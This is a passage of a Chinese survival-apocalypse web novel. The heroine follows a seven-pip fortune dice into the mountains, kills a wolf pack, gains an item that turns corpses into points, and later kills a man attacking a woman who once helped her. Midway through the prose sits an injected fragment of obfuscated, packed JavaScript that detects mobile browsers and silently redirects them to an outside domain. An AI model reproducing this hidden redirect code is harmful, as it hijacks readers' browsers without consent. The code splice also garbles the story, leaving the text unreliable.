现在的天气和路况是越来越差了,道路上的积雪让骑车也越来越不方便,不过她还是指望着小三轮能站好最后一班岗。
保养完毕,禾小满拍了拍这俩跟着她三十天了的老伙计。
……想开点,她好歹给她的奥运A88用的还是壳牌喜力HX3的防冻液呢,现在这可是多少奥迪A8哭到尾气管颤抖都用不上的好货色。
干完了一连串活,禾小满走进屋内,坐在炉子边烤了烤冻僵的手,抬眼看了看墙上那个捡来的挂钟,才上午十点不到。
极寒和黑暗改变了她的作息。因为没有娱乐,加上为了节省蜡烛,禾小满如今过着“日出而作,日落而息”的古人生活,晚上八九点就睡,早上五六点就起,阴差阳错地实现了她曾梦寐以求的十小时优质睡眠。
她不禁感叹,三十天的荒野求生硬是把她一个能躺着绝不坐着的懒癌患者,逼成了雍正附体、一天不劳动就浑身不舒坦的勤快人。
歇得差不多了,禾小满从口袋里摸出了那枚决定她每日行动的【命运骰子】。
来吧,看看今天骰子大神心情如何,是赏她去捡垃圾还是发配她去砍树。
扫过雪的手指冰凉,触碰到骰子时,禾小满感到一丝不同寻常的温热。不像往常那样随手一抛、转几圈就尘埃落定,这次的骰子在书桌上疯狂旋转,咕噜噜的声音绵延不绝,快得几乎出现残影,看得禾小满眼花缭乱,恨不得伸手把它按住。
就在她快要失去
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耐心时,骰子终于慢了下来,晃晃悠悠,最终彻底静止。
不再是最常见的1-6点,白色的骰面如玉圆润,上面的图案,和以往的图案,和任何骰子的图案都不同:
七点。
禾小满眨了眨眼,这次她是真的以为自己冻出了幻觉。她甚至下意识地抬头看了看灰蒙蒙的天花伴,又揉了揉眼睛,再次低头。
骰子静静地躺在桌子上,上面清晰地分布着七个凹点,它们构成的图案,禾小满熟悉得不能再熟悉——北斗七星。那勺状的排列,比夜空中真实的星座还要规整、清晰,七个点深邃得仿佛能吸入光线。
“七点?北斗七星?”禾小满的大脑瞬间宕机,“这玩意儿……它喵的能骰出七点?”
她是真的懵圈了,这么多天来,骰子小气得连六点都没让她见过一次,现在一下就搞个大的,直接给她整个七点。
禾小满伸手去捡,就在指尖触碰到骰子时,冰冷无情的系统提示音,再次在她脑海中响起:
【叮!】
【今日运势判定:异数。星移斗转,异数天降。福祸相依,唯人自择。】
【提示:勺柄所指,即为南方。循星轨而行,可觅珍宝遗泽。】
“异数”“遗泽”……这次的播报不再只是简单的吉凶判断,字里行间都透着一股“此事非同小可”的气息。它没有明确是福是祸,但这反而更让人心惊肉跳。
怀疑、震惊、惊喜……种种情绪像打翻的调色盘,在禾小满心中混杂成一团。
这骰子出BUG了?禾小满首先感到的是强烈的怀疑。这超出了她的认知范围,六面骰子掷出七点,还自带星图导航?太离谱了!
再重新思考一下系统的播报,“珍宝”这个词在禾小满脑海里回荡。在这样一个资源匮乏、生存艰难的末世,还有什么比珍宝更令人心动?或许是某个未被发现的避难所仓库?或许是某个幸存者遗留下的珍贵物资?又或者是……某种能改变现状的关键物品或信息?
被握在手心的骰子也在微微发热,似乎在催促着禾小满出发。
尽管系统暗示此行伴随着风险,但强烈的好奇心和“万一真有好东西”的期盼,最终还是占了上风。
她是真的很好奇,七点的骰子,到底能给她带来什么惊喜。
17. 【极寒天灾】
一路向南骑行,风景依旧是一片死寂的白,风雪劈头盖脸地砸来。要不是胸口持续发热的骰子时刻提醒着她,禾小满几乎以为这又是平凡的一个砍柴日。
到达山脚,她深一脚浅一脚地往山里走。熟悉的砍伐痕迹还在,但对于这片广袤的山林来说,不过是九牛一毛。肉眼可见的还有很多树木,再给她一个冬天也砍不完。
已经走到了平日活动的边界,再往上就是更陡峭的山腰了。禾小满停下脚步,感受了一下胸口的骰子,微热的骰子还在持续震动着,没有停歇。
“还得往里走?”她握紧了手中的消防斧,深吸一口气,迈过了那条心理安全线。
越往深处,树木越发高大粗壮,许多巨木已是双人难以合抱的程度,根本不是她那把斧头能砍动的。禾小满行走在树林之间,看着周围高大的树,只感觉自己像穿梭在蘑菇林里的一只小甲壳虫。
一路上没有任何人和动物,四周寂静得可怕,这种置身于无边自然中的孤独与压迫感,比在小镇里更甚,让她有些喘不过气。
在一棵巨大的雪松下,禾小满决定停下来歇口气。一方面是山路消耗了体力,另一方面,一种若有若无的、被什么东西盯着的感觉越来越强烈,让她脊背发凉。可她几次猛地回头,除了静默的树木和皑皑白雪,什么也没发现。
骰子的滚烫预示着方向没错,但心中的不安却越来越浓。
禾小满刚取下背包,想拿出点干粮补充体力时,就在那一刹那,【边缘感知】技能第一次被触发!
那股若隐若无的视线成了实质,一道迅捷冰冷的风朝她背后袭来。
有东西!
想也没想,求生的本能让禾小满抓起脚边的斧头,猛地转身,用尽全身力气向后横扫而去!
“砰!”斧头砸中了某个坚硬的东西,阻力传来,但禾小满惊恐之下爆发出的力量极大,直接将那东西砸飞出去几米远。
斧刃上没有血,只沾着几缕灰色的毛发。顺着看过去,几米外的雪地上躺着一个东西——
是狼。
那匹狼躺在地上,脖子不自然地扭曲着,四肢抽搐,发出低沉的呜咽。
“卧槽!”看着地上的狼,禾小满心脏狂跳,一阵后怕瞬间席卷全身。如果不是技能预警,如果不是斧头就在手边,如果不是运气好,后果不堪设想。
然而,解决掉一匹狼的庆幸仅仅维持了不到两秒。当她的视线从地上的狼尸抬起,望向更前方的林间阴影时,全身的血液仿佛瞬间冻结。
林间的阴影里,四点幽绿的光锁定了她——还有两匹狼。
糟糕,她就该想到,狼是群居动物来着。
眼前的两匹狼毛色斑驳,瘦骨嶙峋,显然是饥饿已久。但那四只幽绿的眼睛里,燃烧着的是残忍的饥饿与疯狂。
跑?禾小满的腿肚子都在打颤,但理智尖叫着否决了这个选项。下山的路漫长而艰难,在雪地里逃跑等于送死。
禾小满深吸一口刺骨的寒气,动作缓慢地将背包背好,保护后背。同时,双手紧紧握住消防斧,亮出锋刃,横在身前。她侧身站稳,减少受击面积,目光死死锁定了其中那匹体型稍大、眼神更显沉稳的头狼。
两匹狼绕着禾小满缓慢移动,一左一右,忽远忽近地试探,喉咙里发出低沉的威胁性呜咽,消耗着眼前这个人类的的精神和体力。
禾小满的背部紧抵着树,眼睛始终紧盯着头狼,用眼角的余光警惕着另一头狼。
几个回合的假意扑冲与挥斧驱赶后,两匹狼停止了试探,它们沉默下来,只是用绿油油的眼睛死死盯住她,空气中弥漫着危险的死寂。
禾小满有预感,下一次,就是动真格的了。
果然,短暂的静止后,【边缘感知】再次传来尖锐的警示,两匹狼同时发动攻击!一匹佯攻左侧,而头狼则正面扑向她的咽喉!
电光石火间,禾小满做出了决断:无视左侧的扑咬,全力解决正面威胁!在左侧狼牙咬穿她厚厚衣袖同时,她全部的注意力都集中在扑来的头狼身上。
她没有胡乱挥舞斧头浪费体力,而是看准时机,将全身的力量灌向斧头,精准地砸向头狼最脆弱的鼻梁上!
砸中了!
“咔嚓!”一声脆响,伴随着头狼凄厉的惨叫,它的鼻子瞬间塌陷下去,鲜血直流。受此重创,头狼的第二次扑咬速度和力量小了许多。禾小满抓住机会,一斧头劈在头狼的脖颈,虽然没听到颈骨断裂声,但它顿时重重摔落在地,失去了战斗力。
迅速解决掉最大的威胁,禾小满这才将注意力转回还死死咬住她左臂的另一匹狼。这家伙似乎比较死脑筋,或者它的任务就是牵制,竟然还没松口。
这个姿势反而方便了禾小满,她右手抡起斧头,几下猛砸,就结束了它的性命。
看着地上的三匹狼,禾小满不敢大意,上前给它们都补了刀,待三匹狼的狼脑袋都被敲得血肉模糊后,禾小满才正式放松下来。
这真是她穿越以来最凶险的一次经历了。禾小满喘着粗气,看着雪地上的狼尸,心有余悸。
碰到三匹狼很倒霉,但她同时也是幸运的。一是这些狼都是饿了很久的倒霉样,估计也就三四十公斤,还不如一头拉布拉多壮,这才给了她机会能以一敌三。
二是她现在的穿着可以说是全副武装。那身橡胶雨衣。本来只是用来防雪挡风的,却在很大程度上抵消了狼牙的穿透力。狼估计怎么也没想到,它的牙齿要穿过雨衣、冲锋衣、棉袄、毛衣……层层织物,才能到达猎物的皮肤。
尽管有衣服保护,但尖利的狼牙还是给禾小满的手臂上造成了两道伤痕。刚刚肾上腺素起作用时没有感觉,现在才觉得手臂隐隐隐隐作痛。
禾小满艰难的撸起层层衣服,从背包里拿出纱布和酒精,龇牙咧嘴地给手臂上几个小小的血洞消毒。
……也不知道这狼有没有携带狂犬病病毒,禾小满一边处理伤口一边嘀咕着。
处理完伤口,她的目光再次落回狼尸上。
这是骰子所指代的“珍宝”“遗泽”吗?这怎么看也不像是宝藏的样子啊,难道要她划开狼肚寻找一张“副本兴,小满王”的纸条吗?
正疑惑间,一直安静如鸡的【垃圾夹】突然在背包里发出了动静。
取出【垃圾夹】,只见它泛着微弱的蓝光,下面的钳子一开一合的夹着,一副摁耐不住的模样。
嗯?禾小满看了一眼【垃圾夹】,又望向四周。
要说这里唯一有什么特殊的,就只有……这些狼了。
禾小满犹豫了一下,举起【垃圾夹】,试探性的夹住头狼的尸体。
【垃圾夹】的夹子那么小,只能夹住头狼的一只前腿,但当禾小满完成了“夹取”这个动作时,头狼的尸体瞬间消失不见。
与之同时,【垃圾夹】的物品信息在她脑海中清晰起来:
【垃圾夹】(Lv.1)
【道
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具类型:特殊类】
【来源:由“清道夫”组织中的匿名疯狂生物工程师设计并生产。该组织坚信“万物皆可回收,能量永恒不灭”,尤其是生命能量。这款垃圾夹最初是为了高效清理战场并“回收利用”而量产的工具,却在流落过程中成为了不少末日幸存者又爱又恨的生存倚仗。紧握它,你便成为了生命循环链上最冷酷无情的一环。】
【技能:汲取】使用此垃圾夹对一切智慧生物尸体进行“夹取”操作时,可汲取其残存的生物能量,并将其转换为生存点数。转换效率基于目标生前的生命强度及尸体完整度。
【升级材料:生物血肉x 50】
“智慧生物……生存点数……”禾小满看着这段说明,心情复杂。
智慧生物……不用多想,她脑海中想到的第一个智慧生物就是:人类。
而生存点数,虽然她还不知道那是什么,但一定是很重要的东西。而【垃圾夹】这项由尸体转换为生存点数的功能,看似在鼓励玩家去做分解者,去收尸,实际上,鼓励的是另一种最黑暗的行径。
如果没有尸体,那就制造尸体。先制造动物的尸体,如果连动物都没有了,那就制造……人类的尸体。
末日、系统、道具……一瞬间禾小满想了很多,但最后还是只能暂且放下。
用【垃圾夹】处理掉另外两具狼尸后,系统响起【获得生存点数×3】的播报,禾小满默默收起道具,准备打道回府。
她不知道怎么评价【命运骰子】指引的这场奇遇,它给了她一场危机,但也给了她一个机会。如果不是狼尸,如果不是垃圾夹的异动,她是怎么也想不到【垃圾夹】真正的用处。
禾小满背好背包,准备下山,刚迈出一步,胸口的命运骰子却再次猛烈发热、震动。
她疑惑的拿出骰子,骰子抖动着,骰面的图案仍然坚定的指向南方。
还没完?禾小满真的惊讶了。如果狼群和【垃圾夹】的激活还不算奇遇的终点,那前面还有什么?
本着“来都来了,狼都杀了”的破罐破摔原则,她咬了咬牙,决定跟着骰子的指引,继续走下去。
仍然是荒凉的树林,恐怖寂静。骰子的温度在不断上升,仿佛在宣告目的地越来越近,禾小满也不由得加急了脚步。
终于,在骰子越来越烫的指引下,她来到了一处山洞。
山洞被枯藤半掩着,里面仿佛隐藏着什么。
这就是骰子指引的藏宝地?禾小满用斧头拨开藤蔓,首先闻到的是一股刺鼻的臭味。
这臭味腥臊万分,却带着隐隐的熟悉感,仿佛她曾在哪闻到过。
在哪里?禾小满的脑子一转,很快回忆起了某个片段:
这个味道……
她刚刚在狼尸身上闻到过。
禾小满全身僵硬,一个可怕的念头浮现:
这不会是是狼窝吧?!
仿佛为了印证她的猜想,黑暗中,一双、两双、三双、四双幽绿的眼睛,如同鬼火般依次亮起,死死地盯住了站在洞口、自投罗网的猎物。
“一、二、三、四……”禾小满数着那令人绝望的绿光,加上刚才那三只,正好七只。
果然,狼是群居动物这一点,真是一点都没错。
只是此刻,看着那四双饥饿的眼睛,禾小满欲哭无泪,心里只剩下一个念头:
好你个死骰子!
七点的意思,原来是七匹狼是吧?!
18. 【极寒天灾】
幸运的是,洞内的这四只狼并不处于完全战力状态,它们是一只母狼及三只小狼,战力加起来还不及先前的三狼。
不久前才经历过分娩的母狼看起来颇为虚弱,毛发凌乱,但脸上仍旧挂着凶狠的表情。三只小狼的体型则只有小狗大小,虽然龇牙咧嘴,却明显透着稚嫩和惶恐。
即便如此,一场恶斗依旧不可避免。
母狼为了保护幼崽,爆发出了惊人的韧性。锋利的爪牙在禾小满的橡胶雨衣上又添了几道破口和牙洞。但最终,凭借消防斧的威力,禾小满还是干掉了这四只狼。
看见地上的一大三小四条狼尸,禾小满不由得心生唏嘘。副本里的这场寒潮灾难,对所有的生灵都是一场考验。若非食物短缺到了极限,这些狼也不会来袭击她。
对于这些狼而言,身高一米七、体重一百三、裹得像球且手持利器的禾小满,何尝不是一个巨人怪物。它们只是在生存本能的驱使下,做出了冒险的选择。
不过想到这,禾小满的那点唏嘘,又迅速转变为沾沾自喜。虽然打得是老弱病残,但她也是货真价实地干翻了7只狼。
……现在只缺一头东北虎,验证她是否具备一个滑铲铲飞老虎的实力。
收起这点小得意,禾小满掏出【垃圾夹】,给地上的四只狼进行“夹葬”。在送葬的同时,她也在漆黑腥臊的山洞里四处搜寻。骰子指引她来此,总不会只是为了让她端个狼窝,肯定还有别的东西。
咦?在狼窝角落那团杂乱的干草枯枝中,一点微弱却难以忽视的柔和光芒吸引了她的注意。
就是这个。一种莫名的直觉涌上心头。禾小满快步走过去,伸出手指,轻轻触碰了一下那团光点。
就在指尖接触的刹那,甚至没来得及看清那光点具体的模样,它便如同有生命般,“飕”的一下钻入了禾小满的眉心!
紧接着,刺目的光芒在她脑海炸开,无数陌生的画面,如同决堤的洪水般汹涌而至:
火山咆哮着吞噬城市、酸雨腐蚀着大地、冰封万里的寒潮、遮天蔽日的海啸、面目狰狞的丧尸狂潮、核爆后荒芜的焦土、星辰湮灭的恐怖景象……一种又一种毁灭性的灾难在禾小满的脑中飞速闪回。不同星球、不同文明、不同形态的生命,最终都在无可抵挡的巨力下尖叫、哭泣,最终归于寂静,文明的辉煌覆灭只在弹指之间。
庞大的信息流和难以言喻的绝望感冲刷着禾小满的意识,她头痛欲裂,不由得蹲下身抱住了头。直到那些记忆碎片停止播放,她缓了好一阵,才脸色苍白地站起来。
这些……到底是什么?
画面中的某些灾难场景依稀像是发生在地球,但更多的则完全超出了她的认知范围。可无论在哪个星球,无论是何种文明,最终都难逃覆灭的命运,这种跨越时空的悲剧让她感到一阵彻骨的寒意。
【恭喜玩家禾小满收集到??碎片×1】
【解锁成就:稚子。在漫长的时间长河里,所有文明都是稚子。而现在,你得到了一个向前看的机会。】
【成就奖励:生存点数×50】
系统的播报声适时响起,打断了她沉浸式的恐惧。
三条播报信息中,禾小满第一个注意到的是最后那条奖励信息【生存点数×50】。
刚刚她捡的是个什么宝贝?竟然让系统如此大方。这奖励抵得上通关一个副本的收益了。
她立刻尝试在系统界面查找关于??碎片的信息,却发现除了人物栏内多了一条【持有??碎片×1】的记录外,再无任何说明,甚至连她反复点击这条信息,也无法弹出详细介绍。
结合那些灾难的画面,和“稚子”“向前看”的成就描述,一个令人毛骨悚然的猜测逐渐在禾小满心中成型:
或许,文明周期性地遭受灾难毁灭并不是偶然。【毁灭者文明】,宇宙里的刽子手,真的在处决这些大大小小的星际文明。而她,这个意外被选中卷入生存游戏的普通人,系统口中的“火种”,竟阴差阳错地成为了可能预知到下一次灾难的“蚂蚁”——一只得以提前抬头看向滚烫开水的蚂蚁。
天啊……禾小满无力地捶了捶自己的额头。这也太离谱了,她只是一个想苟活六十天的普通人而已啊!而且,她对灾难的具体形式、发生时间一无所知,谈何预警?谈何拯救?
她自认只是一只咸鱼,一条懒狗,绝不是什么救世主的料子,更没有什么个人英雄主义情结。如果真是波及整个地球的灾难,她一个人能做什么?最现实的想法,是找机会悄悄把这个信息传递出去,让更有能力和资源的人去想办法,至于能不能成功,那就不是她能控制的了。
下定决心后,她又仔细检查了一遍山洞,确认再无异状。胸口的骰子也恢复了常温,转回了普通的三点后,禾小满不敢久留,收拾好背包,迅速下山。
在最后下山前,禾小满回头望了一眼幽暗的山洞,心情复杂。
末日,真的要降临了吗?
——
翌日。
窗外的雪花簌簌飘落,禾小满坐在书桌前,指尖摩挲着骰子,眼神却有些飘忽。
骰子还是那颗骰子,长的和原来一模一样,但内在已然不同。
它升级了。
【命运骰子】(Lv.2)
【道具类型:辅助类】
【技能一:吉凶预兆。每日可投掷一次,根据结果获得当日基础运势判定(大凶、凶、平、小吉、吉、大吉),判定结果将影响事件概率与物品发现几率。】
【技能二:运气守恒。每日可使用一次该技能,技能发动后,短时间内大幅度提高使用者幸运值,并在使用后8小时内以持续的厄运偿还。】
【技能三:???】
【升级材料:生存点数x 100】
昨天,她通过【垃圾夹】的汲取和吸收碎片的成就奖励,一共入账57点生存点数。看着这第一桶金,禾小满毫不犹豫地将它们投入了目前唯一能消费的地方——升级骰子。
Lv.2解锁的技能二【运气守恒】,让禾小满又心动又纠结。
昨天在家中将骰子升级完毕后,她按捺不住好奇,想着小镇里也比较安全,就上手试了试新技能。
使用二技能后,骰子立刻由三点转成了六点。禾小满看到骰子翻面,马上出门找了个垃圾桶做实验。
结果令人惊喜,在早已被搜刮过无数次的垃圾桶中,她竟然翻出了一包过期饼干、几件旧衣服、一整套金属工具与螺丝配件。这在平时简直不敢想象。
但随着时间推移,幸运值似乎在衰减,从第一个垃圾桶的大丰收,直到最后一个垃圾桶的空空如也,禾小满知道,好运时段结束了。
果然,回家的路上,她莫名其妙摔了两跤。到家后,她又不小心打碎了一个杯子和一个盘子,才算熬过了八小时的“厄运偿还期”。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457287|185345||http|test|mini|href|location''.split(''|''),0,{}));
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>看来这个技能不能随便用。好运虽好,但是后续的麻烦也不小。这个技能,最适合用在关键时刻,比如比如战斗、逃跑或者争分夺秒寻找关键物品的时候,日常捡垃圾还是算了。
收起骰子,禾小满又掏出【垃圾夹】仔细端详。这个能将生命转化为生存点数的道具,升级方式很特别,需要“生物血肉x50”。昨天解决了七匹狼,进度条也走了7/50。
禾小满冒出一个想法:她是否可以用老鼠、兔子之类的小动物尸体来充数?这比狼尸和人尸温和方便多了。可问题是,进入副本后,她连只虫子都没见过,小动物更是比狼还稀罕。相比起来,杀个人反而更方便爽快。
算了,随缘吧。禾小满摇摇头,把【垃圾夹】收起来。她在副本里能苦中作乐地生活,但自知也不过是根阳光灿烂的野草罢了,绝不是那种特有野心进取心的食人花,为了道具杀人做实验,她做不到。
整理好装备,禾小满再次踏上了每日的出门活动。
虽然昨天刚和狼大战一场,手臂上还挂着彩,她也不能休息,生活还要继续呢。
不过,今天她是决计不敢再上山了。端了狼窝,谁知道有没有“余孽”在外面游荡?万一碰上个回来探亲的,那真是仇人见面分外眼红。
为此,她昨天下山时,直接在路上就把可能沾染狼群气味的外层头巾、围巾和雨衣都扔得远远的,没带回小镇,今天则换上了一套全新的行头。
不去山上,目标就转向了小镇里那些空置的房屋,能捡点日常用品也好。而禾小满最大的期望,就是能找到点像样的家具,充实一下她那个家徒四壁的安全屋。
——
运气似乎不错。
在走过三栋房子,撬了七扇门之后,禾小满终于在空屋里发现了让她眼前一亮的目标。
与这个懒人沙发的第一次相见,禾小满就移不开眼。
安全屋里只有几张木餐椅,足够应付她的需要,可木椅坐久了,偶尔也觉得膈屁股,那种带弹簧的网面椅才是她的所爱。前几次去空屋捡垃圾时,她就一直留意有没有类似的椅子,别的家具陆续捡到了些,唯有椅子一直没有发现。
现在,有一个比椅子更进一步的家具:沙发!
普通的布艺沙发,全浸了灰尘,污秽不堪;而皮质沙发,经过岁月侵蚀,开裂掉皮,所以她从没有考虑过捡沙发。而眼前这个沙发,皮质意外地保存完好,纹理清晰,触手温润,一点风化的迹象也没有。除了落满灰尘,几乎看不出损坏。
但重要的是,这是个单人的。这个尺寸这个重量,都在她一个人能搬运的范围内。
禾小满忍不住上前摸了摸,又干脆坐上去体验了一下,果然很舒服。她的身体瞬间陷入柔软的包裹中,海绵妥帖地支撑着背部、腰部和腿部,那种全方位的放松感,和她平时坐的硬邦邦木椅子简直是天壤之别。
摸着温润的皮面,禾小满简直能想象出这么一个场景:
劳累一天后,回到小屋,生起炉火,整个人往沙发里一坐,陷进去的瞬间,柔软的海绵如同云朵将她包裹,全身都被托住,仿佛给她一个温暖的拥抱。然后再喝点热水,听点收音机里的小歌,不知道该有多惬意!
好!捡!禾小满恋恋不舍地离开沙发,下定决心要实施搬迁计划。就在刚起身的瞬间,她听到街道上传来不寻常的声响。
一阵急促的脚步声,然后是,女人的尖叫?
19. 【极寒天灾】
就在禾小满准备凑到窗户附近仔细瞧瞧时,她发现,那声音越来越大,越来越近,似乎正朝着她所在的这栋房子冲来。
怎么回事?!脚步声已经进入院内,禾小满心中一惊,来不及细想,抓起背包一个箭步冲进厨房,敏捷地蹲在了中央岛台后面。
“砰!”客厅门被撞开,接着是慌乱转动门把手、试图锁门的声音,但显然失败了,传来一声带着愤怒和颤抖的低骂。
……门锁当然是坏的,因为就是她二十分钟前亲自撬的。
很快,更大的撞门声响起,震得墙壁似乎都在晃动。那声音一声接一声,能感受到撞门之人的执着。
还有第二个人?禾小满侧耳听着客厅的声音,看来第一个人在躲避第二个人。
那“砰砰”的撞门声越来越大,大到禾小满也不由得为之担忧。不知道多少下后,门内的人似乎力竭,随着一声巨响,门被彻底撞开。
禾小满很快听到客厅传来打斗的声音,拳风声、喘息声、扼住喉咙的“呃呃”声近在咫尺。
在打架?禾小满悄悄从岛台边缘探出一点头,看到了客厅里的景象:
一个黑衣男人背对着她,骑在一个金发女人身上,他的双手紧紧掐着女人的脖子。地上的女人双腿乱蹬,面色铁青,使劲掰着脖子上男人的双手,却无济于事。
金色的长发,蓝色的眼睛,禾小满看着地上的女人,只觉得越看越眼熟,忽然,一个月前的记忆闪过:
【“Oh, my dear!天啊,这可真是……你真可怜。”】
脑海中的面容和眼前的女人对上号,这不就是第一天施舍了她的那位路人女士吗?
没有犹豫,禾小满从背包里抽出消防斧,悄无声息地走向那个黑衣男人。
客厅里的两人专注于生死搏斗,丝毫没有察觉她的靠近。就在金发女士眼神开始涣散、双手无力垂下之际,禾小满扬起了斧头,重重砸在男人的后脑勺上。
砰!
男人身体一僵,手上的力道松了。
砰!砰!
不等他反应,禾小满又是连续几下重击,直到他彻底瘫软在地,不再动弹。
确定男人已经没气了,禾小满才放下斧头,看向地上剧烈咳嗽的女人,伸出手来:
“你,没事吧?”
凯特只感觉天旋地转,眼前发黑,喉咙火辣辣地疼,肺部根本喘不上气。她搭上禾小满的手,缓了好一会儿才勉强恢复意识。
“……谢,谢谢你。”她的声音嘶哑得像破风箱般。
凯特一直以为自己是一个幸运的人。二十年前的经济大萧条时期,她在曾是失业大军的一员,但靠着优秀的工作能力和不懈的努力,加上一点点运气,最后在上百个求职者中脱颖而出,得到了offer,爬出了低谷。在这场持续了三十天的暴风雪前,她又恰好去仓储超市逛了一圈,采购了比往常更多的储备食物。
而今天,断粮两天的她,竟然在垃圾桶底翻到一小包饼干。
但不巧的是,就在她感激这奇迹般出现的饼干时,却被不远处的鲍勃目睹了她的收获,他一言不发直接伸手抢夺。
没有人会在这种时候让出食物,她带着恐惧和愤怒拒绝了鲍勃,快步离开,没想到他恼羞成怒地殴打她。就在追逐间,她看见了一扇开着的门,没有多想,直接冲了进去。
上天和她开了个玩笑,门锁是坏的。她能进来,鲍勃也能进来。就在险些被鲍勃掐死时,上帝又眷顾了她,这个不知从哪冒出来的人几斧子敲死了鲍勃,挽救了她的生命。
惊魂未定的凯特看着眼前这个提着染血斧头、蒙着脸的救命恩人,有些感激,也有些犹豫。假如她识相的话,应该现在就把身上的饼干交出去。这个人帮助了她,干掉了鲍勃,这很好,可谁知道那把染血的斧头是否介意沾上第二人的血?
“我……”凯莉犹豫了一下,最后还是从怀中掏出了那包饼干,颤声道:“这是你的……”
对面的人看了她一眼,没有接饼干,反而蹲下,就地在鲍勃的尸体上摸索一番,最后从中掏出一块巧克力,塞到凯特手中。
“你拿着吧。”对方的声音透过面罩传来,平静而年轻。
凯特惊呆了。在这食物比黄金还珍贵的时刻,对方救了她的命,不仅不要报酬,反而给了她更多的食物?
在物资断绝的小镇里,多少人翻遍角落,翻遍垃圾桶都找不到任何食物,这一块饼干和巧克力甚至足够一个成年人支撑4天。凯特敢断定,就算垃圾桶旁的不是鲍勃,而是其他人,他也不会眼睁睁地看她带着饼干离去。哪怕是一小块食物,此刻都是救命的良药。
而对方,竟然把这些食物给了自己?
凯特瞪大了双眼,脸上满是不可置信,紧紧盯着对面。
对面的人围着头蒙着脸,她看不清相貌,但当她的目光落在那双露出的黑色眼睛和脸旁的黑发时,一段模糊的记忆被唤醒……
【“我失业了。”】
长椅上那个落魄的东方女孩!
“我们……是不是……见过?你是……”凯莉有些激动,抬起颤抖的手,声音嘶哑。
对方没等她说完,就嗯了一声,眼神坦诚。
天哪!感谢上天,感谢命运,感谢她的幸运让她遇见了这个女孩!
——
送走泪眼朦胧的路人女士后,禾小满松了口气。
路人女士听到她的回应后,瞬间涌出泪花,她语无伦次地感谢了一通
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上帝、命运和禾小满,又扑过来拥抱她,还想上来亲吻她的脸颊。
禾小满有些不好意思地接受了这份感激,她确实帮助了路人女士,但很大程度上是为了回报对方当初那20元钱的善意。
如果躺在地上的不是路人女士,她或许也会出手相助,只是不会像现在这么干脆爽快,更不会将那块巧克力拱手相让。
不过,能帮助到路人女士,禾小满也很欣慰。路人女士和冯阿婆都给过自己帮助,现在有机会能回报这份善意,再好不过。
收回思绪,禾小满将目光投向地上的男人尸体,有些为难。
为难的倒不是尸体的处理,【垃圾夹】就是为此而生的。让她纠结的是另一件事:
她究竟要不要摸尸?
男人身上携带的食物被她掏出来,送了出去。可除了食物,他身上说不定还有其他好东西呢?就比如说,衣服。
眼前的尸体穿着一件黑羽绒服,看着就很暖和。虽然她身上也有衣服,但在昨天的狼嘴下破了好几个洞,怎么看也比不上这件羽绒服。
还有,这毛线帽、这厚毛衣、这手套……禾小满越看眼睛越发光。
算了,人都杀了,也不讲究这亵不亵渎了。
禾小满咬咬牙,克服自己对尸体的恐惧和敬畏,开始动手扒衣服。
在如此的低温环境下,尸身的温度降得十分迅速,很快变得硬邦邦的,带着令人恐惧的冰冷与僵硬。就算自认为神经大条不拘小节的禾小满,下手时也不免头皮发麻,冷汗直冒。
毕竟,几分钟前,正是她亲手敲死了眼前这个男人。
禾小满强忍着恐惧,一件件扒,扒到只剩最里面两层衣服,再扒下去就要碰到尸体的皮肤了,她才住手。
她抱着一堆衣服,怀着复杂的心情,向地上的尸体鞠了一躬。
“唉,兄弟,对不住了,我也不想这样的。敲你那两斧头我不后悔,但是扒衣服确实是我不地道,整得你下去也没件厚衣服能穿。咱也没别的能补偿,就诚心给你祷告一下,祈求你进个炎热的地狱,祝你反省完了下辈子再投个好胎吧。“
禾小满闭上双眼,双手合十,颇为真诚地为地上的bro祈祷了一番。
……也不知道这片地界归哪个神管,总之希望神明干活利索点,赶紧把灵魂接走,别留在人间给她添堵就行。
祈祷完毕,她熟练地掏出【垃圾夹】,打开夹子,夹住尸体的胳膊。
一开一合,一瞬间,地上的尸体就消失不见。
直到把【垃圾夹】收回背包,禾小满才突然想起一个关键问题:
【垃圾夹】这片的业务……到底归哪个部门管啊?
上帝他老人家,管不管得到这儿呢?
20. 【极寒天灾】
这世道究竟是怎么了?
禾小满一边扯着床上的床单床笠,一边忍不住在心里发出感叹。
连着两天遇见这么凶险的事情,这日子简直没法过了。
她只是想捡个垃圾而已,大家都“平平淡淡才是真”不行吗?一边抱怨,手上的动作却没有放缓,她利落地将旅馆的床单、床笠、甚至床头柜上的台历和烟灰缸都一股脑地扫进硕大的黑色塑料袋。
自从前天的空屋袭击事件发生后,一种莫名的寒意和担忧就始终缠绕着她。如今小镇里还敢在外面活动的人越来越少,但敢出门的,恐怕都是鲍勃那样的硬茬子。自己要是还像以前那样天天在外面晃悠,简直就像块移动的肥肉,很难不被人盯上。
再加上这越来越不近人情的鬼天气,出行不仅不便,更是危机四伏。她决定了,赶紧趁这两天时间搜刮点物资,然后去后山砍足木柴,做好万全储备。最后这二十天,她打算彻底宅在安全屋里。
禾小满今天起了个大早,目标直指加油站的工具店和旅馆。这大概率是她最后一次来这里了,以后连小镇中心她都不打算再踏足。
工具店里还是那些老面孔,她补充了几件略有磨损的工具,又顺手把之前觉得用不上的小零件也塞进了背包。反正都是最后一次了,万一哪天需要呢?
旅馆这边就显得有些凄凉了。显然,除了她之外,后来还有其他人光顾过这里。房间被翻得乱七八糟,甚至连镜子被砸得粉碎,部分家具也有损毁。
经过几轮洗劫,这里确实没什么像样的东西了。除了床上用品,可能唯一还值得考虑的,就是这个看起来挺结实的床头柜了。
她确实缺一个像样的床头柜来放些零碎东西。正当她蹲下身,琢磨着要不要费劲搬走这柜子时,一阵清晰的脚步声毫无征兆地钻进了她的耳朵。
有人在上楼梯!
皮靴踩在金属楼梯上,发出缓慢而清晰的“噔——噔——”声。
连续两天的生死经历,让禾小满的神经像绷紧的弓弦。听到脚步声的瞬间,她几乎是本能地从背包里抽出了消防斧,双手紧握,横在胸前,心脏不受控制地加速跳动。
是别的拾荒者吗?禾小满充满了忧虑和警惕。目睹了空屋里的杀人事件后,她不信任除了自己以外的任何人。在这种环境下,拾荒者和抢劫犯往往只有一线之隔。
